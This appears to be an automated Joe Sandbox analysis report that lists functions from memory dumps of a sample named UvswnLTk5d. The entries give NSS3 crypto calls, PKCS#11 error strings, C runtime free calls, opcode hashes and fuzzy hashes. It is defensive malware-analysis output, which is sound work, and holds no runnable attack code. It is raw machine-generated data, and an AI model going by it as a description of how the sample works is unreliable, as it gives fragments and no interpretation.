Function 6CFFBE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CFFC0B6

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 23f4f14e7a57b3f7c2bada265c68ffc9356706ed7db69372ca311be66aea022e
Instruction ID: ac3a0014a844c4056e6fae6202e9838033a0d32bbea5a8809ee7ef3e0ff8d04b
Opcode Fuzzy Hash: 23f4f14e7a57b3f7c2bada265c68ffc9356706ed7db69372ca311be66aea022e
Instruction Fuzzy Hash: 1F928175E042198FDB15DF94C890BAEB7B2FF88308F284168D425ABBA1D735EC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6CE93D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CE93EA9

Strings

0, xrefs: 6CE93DAB

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: fd819f963b728183eac35f177f26aac2f51da17e369d3ca16affa8d7ceb02983
Instruction ID: f60378f30cf5197c4e6b604102afae8a7ef2d88a984a3aa9616e86b500bbd7ea
Opcode Fuzzy Hash: fd819f963b728183eac35f177f26aac2f51da17e369d3ca16affa8d7ceb02983
Instruction Fuzzy Hash: CC514C31E492798AEB15467D88603FFFBB19B83318F3D4329C9AAA7BC1C27445468791

Uniqueness

Uniqueness Score: -1.00%

Function 6CF3EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF3F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CF3F0F9

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 85e6eb14e3541bb72aee0e1790f25428dca30f5fed272658326444bad915d4b8
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 2C91B1B5E0062A9BCB14CF68C8906AEB7F1FF85324F15462DD966A7BC0D734A905CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CEAAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6CEAAE18
winUnlockReadLock, xrefs: 6CEAAE9F

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 72dd74d23f0eb60b4124db98e6130b633b95cd751673c3beae62f18aba7d7df9
Instruction ID: bdb0d217bf432be0b2e0f028fef93ef69257262e8bddcf8797ddc6c98810f996
Opcode Fuzzy Hash: 72dd74d23f0eb60b4124db98e6130b633b95cd751673c3beae62f18aba7d7df9
Instruction Fuzzy Hash: 13716F70604344AFEB14CF28D884BABBBF5FF8A314F14C619F9599B251D730E9868B91

Uniqueness

Uniqueness Score: -1.00%

Function 6CF6ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CF6EE3D

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 6575c1241223fbc75f9f11c70a380a21d37cea1e174dc9c909a0a5168a99a4f7
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 3971CFB3E017018FD718CF5AD8807ABBBF2AB98304F15862DD85A97B91D730E905CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CEA4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CEA5125

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 5de8b690b23cd053472e62b760aaaf41b784883289d08f1afffc1b4291430c99
Instruction ID: 5d1effe5494fa0f4f6b01e12d7b93249a96236a20e07b2d576e9c1e89d7a2fe8
Opcode Fuzzy Hash: 5de8b690b23cd053472e62b760aaaf41b784883289d08f1afffc1b4291430c99
Instruction Fuzzy Hash: 04E12C70909341DFDB04DF28D88575ABBF0BF8A708F11961DE8999B361E730D986CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00419DC7 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00019D85), ref: 00419DCC

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 070a293f5fd72a4302476959d8ba9f25930c1a77546e2223ef40415f4a224816
Instruction ID: a2f7eb20247afb77339b0084df5ee2fab041c51b9664aeb6610f0aa757957e44
Opcode Fuzzy Hash: 070a293f5fd72a4302476959d8ba9f25930c1a77546e2223ef40415f4a224816
Instruction Fuzzy Hash: 0290027069124446460057B06C1D6966A95AA8C60679144E5E125C405DEB644448555D

Uniqueness

Uniqueness Score: -1.00%

Function 6CFDDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b0a6b1854e5878c82095b6bae3cdbef89db3976facdb6adbaa83f9339b247fb
Instruction ID: 3251ff30f1a0d7d1ed17868ab8324112924061aac88ba7dc695f9a0bb0a4a61a
Opcode Fuzzy Hash: 9b0a6b1854e5878c82095b6bae3cdbef89db3976facdb6adbaa83f9339b247fb
Instruction Fuzzy Hash: F7F13D71A01205CFDB08CF19C4947AAB7B2BF89318F2A8168D8199F751DB35ED42CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF71DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: e42b8a44fe7bba27f1adf3487bce2ac232cc92fd5ef2a4071f0c3b688411bf58
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 98D14B339046558BEB218F18D8943DA7763AB85328F1D832ACC681B7C6C377E919C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 6CF08EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aea5bd493ceb9d5141678beb4cc0f83e8961f4c5c10a721db598d86bfe58309
Instruction ID: 3195f2675b46a036f6c6586d022004ad2e52c4b4e879652db8743442dd115031
Opcode Fuzzy Hash: 2aea5bd493ceb9d5141678beb4cc0f83e8961f4c5c10a721db598d86bfe58309
Instruction Fuzzy Hash: CB11C132B002159BD704DF24D89479AB7B5FF42B1CF04426AD8058FA52C775E8C6C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 6CFE0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1eb7e1a9f078896733583776c18b71ce11cfa71b78230f7bfc6d22c09de10a2
Instruction ID: a01268f6fc99547459728082b63ac83b2032e70d3cdacb282f4636179755cc39
Opcode Fuzzy Hash: c1eb7e1a9f078896733583776c18b71ce11cfa71b78230f7bfc6d22c09de10a2
Instruction Fuzzy Hash: AD11A075604345EFDB00DF28D8C066A77B6FF89368F24806DD8198B741DBB1E806CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CFE0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: b19c9717ba7a6bec167e69c34c2bf6ea33d1c3acfee9eb96ee6cae02de16145a
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: FAE06D3A202054B7DB248E09C450BAA7369DF89719FE48079CC599BA01DEB3F8039791

Uniqueness

Uniqueness Score: -1.00%

Function 00415DC0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Uniqueness

Uniqueness Score: -1.00%

Function 0041952A Relevance: 129.2, APIs: 86, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041953E

Part of subcall function 00417247: HeapFree.KERNEL32(00000000,00000000,?,00417158,00000000,00421AC0,0041719F,?,?,?,0041720F,00421AC0,?,?,00419FD3,00421AC0), ref: 0041725D
Part of subcall function 00417247: GetLastError.KERNEL32(?,?,00417158,00000000,00421AC0,0041719F,?,?,?,0041720F,00421AC0,?,?,00419FD3,00421AC0), ref: 0041726F

_free.LIBCMT ref: 00419546
_free.LIBCMT ref: 0041954E
_free.LIBCMT ref: 00419556
_free.LIBCMT ref: 0041955E
_free.LIBCMT ref: 00419566
_free.LIBCMT ref: 0041956D
_free.LIBCMT ref: 00419575
_free.LIBCMT ref: 0041957D
_free.LIBCMT ref: 00419585
_free.LIBCMT ref: 0041958D
_free.LIBCMT ref: 00419595
_free.LIBCMT ref: 0041959D
_free.LIBCMT ref: 004195A5
_free.LIBCMT ref: 004195AD
_free.LIBCMT ref: 004195B5
_free.LIBCMT ref: 004195C0
_free.LIBCMT ref: 004195C8
_free.LIBCMT ref: 004195D0
_free.LIBCMT ref: 004195D8
_free.LIBCMT ref: 004195E0
_free.LIBCMT ref: 004195E8
_free.LIBCMT ref: 004195F0
_free.LIBCMT ref: 004195F8
_free.LIBCMT ref: 00419600
_free.LIBCMT ref: 00419608
_free.LIBCMT ref: 00419610
_free.LIBCMT ref: 00419618
_free.LIBCMT ref: 00419620
_free.LIBCMT ref: 00419628
_free.LIBCMT ref: 00419630
_free.LIBCMT ref: 00419638
_free.LIBCMT ref: 00419646
_free.LIBCMT ref: 00419651
_free.LIBCMT ref: 0041965C
_free.LIBCMT ref: 00419667
_free.LIBCMT ref: 00419672
_free.LIBCMT ref: 0041967D
_free.LIBCMT ref: 00419688
_free.LIBCMT ref: 00419693
_free.LIBCMT ref: 0041969E
_free.LIBCMT ref: 004196A9
_free.LIBCMT ref: 004196B4
_free.LIBCMT ref: 004196BF
_free.LIBCMT ref: 004196CA
_free.LIBCMT ref: 004196D5
_free.LIBCMT ref: 004196E0
_free.LIBCMT ref: 004196EB
_free.LIBCMT ref: 004196F9
_free.LIBCMT ref: 00419704
_free.LIBCMT ref: 0041970F
_free.LIBCMT ref: 0041971A
_free.LIBCMT ref: 00419725
_free.LIBCMT ref: 00419730
_free.LIBCMT ref: 0041973B
_free.LIBCMT ref: 00419746
_free.LIBCMT ref: 00419751
_free.LIBCMT ref: 0041975C
_free.LIBCMT ref: 00419767
_free.LIBCMT ref: 00419772
_free.LIBCMT ref: 0041977D
_free.LIBCMT ref: 00419788
_free.LIBCMT ref: 00419793
_free.LIBCMT ref: 0041979E
_free.LIBCMT ref: 004197AC
_free.LIBCMT ref: 004197B7
_free.LIBCMT ref: 004197C2
_free.LIBCMT ref: 004197CD
_free.LIBCMT ref: 004197D8
_free.LIBCMT ref: 004197E3
_free.LIBCMT ref: 004197EE
_free.LIBCMT ref: 004197F9
_free.LIBCMT ref: 00419804
_free.LIBCMT ref: 0041980F
_free.LIBCMT ref: 0041981A
_free.LIBCMT ref: 00419825
_free.LIBCMT ref: 00419830
_free.LIBCMT ref: 0041983B
_free.LIBCMT ref: 00419846
_free.LIBCMT ref: 00419851
_free.LIBCMT ref: 0041985F
_free.LIBCMT ref: 0041986A
_free.LIBCMT ref: 00419875
_free.LIBCMT ref: 00419880
_free.LIBCMT ref: 0041988B
_free.LIBCMT ref: 00419896

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 55745e4d8ffa3bcd4bae6bd50e23aa08e34946fc70669168e917a1c48e4fa5ed
Instruction ID: 5df7b21d12798ad2dd02b2714939a7e9e3589bb161cd2ca89e36415dbd51ea28
Opcode Fuzzy Hash: 55745e4d8ffa3bcd4bae6bd50e23aa08e34946fc70669168e917a1c48e4fa5ed
Instruction Fuzzy Hash: AE71E331494B009BD7633B32DD03ADA7AB27F04304F10596EB1FB20632DA3678E79A59

Uniqueness

Uniqueness Score: -1.00%

Function 6CF41D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CF41D46), ref: 6CF42345

Strings

CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CF42275
CKR_PIN_INCORRECT, xrefs: 6CF41D92
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CF41F77
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CF420D9
CKR_FUNCTION_REJECTED, xrefs: 6CF42289
CKR_DEVICE_ERROR, xrefs: 6CF4229D
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CF4226B
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CF41F0F
CKR_STATE_UNSAVEABLE, xrefs: 6CF42037
CKR_PIN_LOCKED, xrefs: 6CF42075
CKR_MUTEX_NOT_LOCKED, xrefs: 6CF42225
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CF4218D
CKR_DEVICE_REMOVED, xrefs: 6CF42261
CKR_SIGNATURE_INVALID, xrefs: 6CF420CF
CKR_FUNCTION_CANCELED, xrefs: 6CF41E73
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CF422FF
CKR_PIN_EXPIRED, xrefs: 6CF4206B
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CF41F8B
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CF42179
CKR_RANDOM_NO_RNG, xrefs: 6CF422A7
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CF41DE0
CKR_BUFFER_TOO_SMALL, xrefs: 6CF42183
CKR_OK, xrefs: 6CF41DFC
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CF42320
rv = %s, xrefs: 6CF42340
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CF41FD7
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CF42015
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CF4227F
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CF42327
CKR_MUTEX_BAD, xrefs: 6CF41F49
CKR_TOKEN_NOT_PRESENT, xrefs: 6CF41F81
CKR_OPERATION_ACTIVE, xrefs: 6CF422B8
CKR_PIN_INVALID, xrefs: 6CF42057
CKR_INFORMATION_SENSITIVE, xrefs: 6CF422B1
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CF42293, 6CF4233F
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CF4204D
CKR_SAVED_STATE_INVALID, xrefs: 6CF41E56
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CF41F95
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CF42319
CKR_WRAPPED_KEY_INVALID, xrefs: 6CF41FB5
rv = 0x%x, xrefs: 6CF42312
CKR_DEVICE_MEMORY, xrefs: 6CF41FF3
CKR_PIN_LEN_RANGE, xrefs: 6CF42061
CKR_NEXT_OTP, xrefs: 6CF4222F
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CF41EE1
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CF4232E
CKR_NEW_PIN_MODE, xrefs: 6CF41E9F

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Print
